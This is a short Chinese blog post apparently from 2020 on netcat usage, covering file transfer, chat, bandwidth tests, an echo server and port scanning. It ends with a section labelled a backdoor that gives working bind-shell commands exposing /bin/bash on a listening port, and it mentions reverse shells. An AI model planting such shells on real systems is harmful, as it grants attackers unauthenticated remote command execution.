nc即netcat,被誉为网络工具中的瑞士军刀,是我最喜欢的命令行工具之一。 它有很多用法,这篇文章将一探究竟。
nc在服务端监听某个端口,在客户端连接到对应IP的对应端口,就可以建立一个TCP连接。 利用这个全双工的通信窗口,我们可以做很多有趣的事。
netcat有两种实现,传统的GNU netcat(比如CentOS nmap包里的Ncat)和openBSD nc(比如MacOS 自带的nc)。它们的参数不完全一致,比如BSD nc不能同时用-p和-l,这一点容易给新手造成困扰。
1. 传输文件 (file transfer)
server
nc -l -p 1111 < movie.mp4
MacOS上的BSD实现不要-p
client
nc 127.0.0.1 1111 > movie.mp4
当传输结束的时候,这种方式偶尔出现服务端命令不会中断或者接收到的文件大小为0,可以改成server端接收。
显示速度
当传输大文件的时候,显示传输速度很有帮助。
pv
可以显示数据传输的速率,它会将标准输入送到标准输出。
客户端使用pv可以显示下载速度、已接收的文件大小等信息。
nc 127.0.0.1 1111 | pv > movie.mp4
服务端使用pv还可以显示进度的百分比。
pv movie.mp4 | nc -l -p 1111
文件夹
对于包含大量小文件的文件夹,可以在发送之前压缩,接收后解压。
服务端压缩当前目录的所有文件
tar -cf - . | nc -l -p 1111
客户端解压到当前文件夹
nc 23.100.90.119 1111 | tar -xf -
2. 一对一聊天 (chat)
30年以前堪比微信。 现在多用来调试http接口。
server
nc -l -p 1111
client
nc 23.100.90.119 1111
-v
来测试能否连接到服务器的某个端口。
3. 测试带宽 (bandwidth)
我通常用这两组命令来测试我到VM的网速。需要在客户端或服务端安装PV。
下载速度 (download speed)
server
pv /dev/zero | nc -l -p 1111
client
nc 23.100.90.119 1111
上传速度 (upload speed)
server
nc -l -p 80 | pv
client
nc 23.100.90.119 80 < /dev/zero
4. Echo server
在某些测试中echo server很有用。
There are 2 ways of setting up an echo server with netcat. This works for both BSD nc and Ncat
rm /tmp/nc
tail -f /tmp/nc | nc -kv -l 1111 > /tmp/nc
mkfifo fifo
cat fifo | nc -kv -l 1111 > fifo
-k
: Forces nc to stay listening for another connection after its current connection is completed. It is an error to use this option without the-l
option. GNU's netcat doesn't have -k option. Fortunately, ncat command from nmap package supports this option.
5. 端口扫描 (port scan)
BSD nc
nc -z -v -n -G 1 23.100.90.119 1-1000
-z
: 建立连接后立刻断开-n
: 不对ip和端口进行反解析,反解析是指比如80端口会显示为tcp/http-v
: 打开详细输出,这样没有开放的端口会显示连接失败 failed: Operation timed out-G
: 建立连接的等待时间
CentOS上的Ncat不再支持-z
可能是因为有nmap
了
nmap 23.100.90.119 -p 1-1000
6. 开一个shell (backdoor)
黑客必备技能。在服务端开一个shell,执行客户端发送的cmd并返回结果。
server
1.方法一:使用-e
nc -v -kl -p 1111 -e /bin/bash
-e
: Executes the given command-k
: Accept multiple connections in listen mode (客户端断开连接后服务端不会退出)
2.方法二:使用fifo文件可以获得更好的交互式体验
mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/bash -i 2>&1 | nc -l -p 1111 > /tmp/tmp_fifo
client
nc -v 23.100.90.119 1111
上面的例子是正向shell,反向shell则是在在客户端启动bash。
这篇文章很短,有反我以前的风格,因为这个工具实在太有用了,我希望早点分享出来。
2020快过去一半了,才迎来我今年的开篇之作。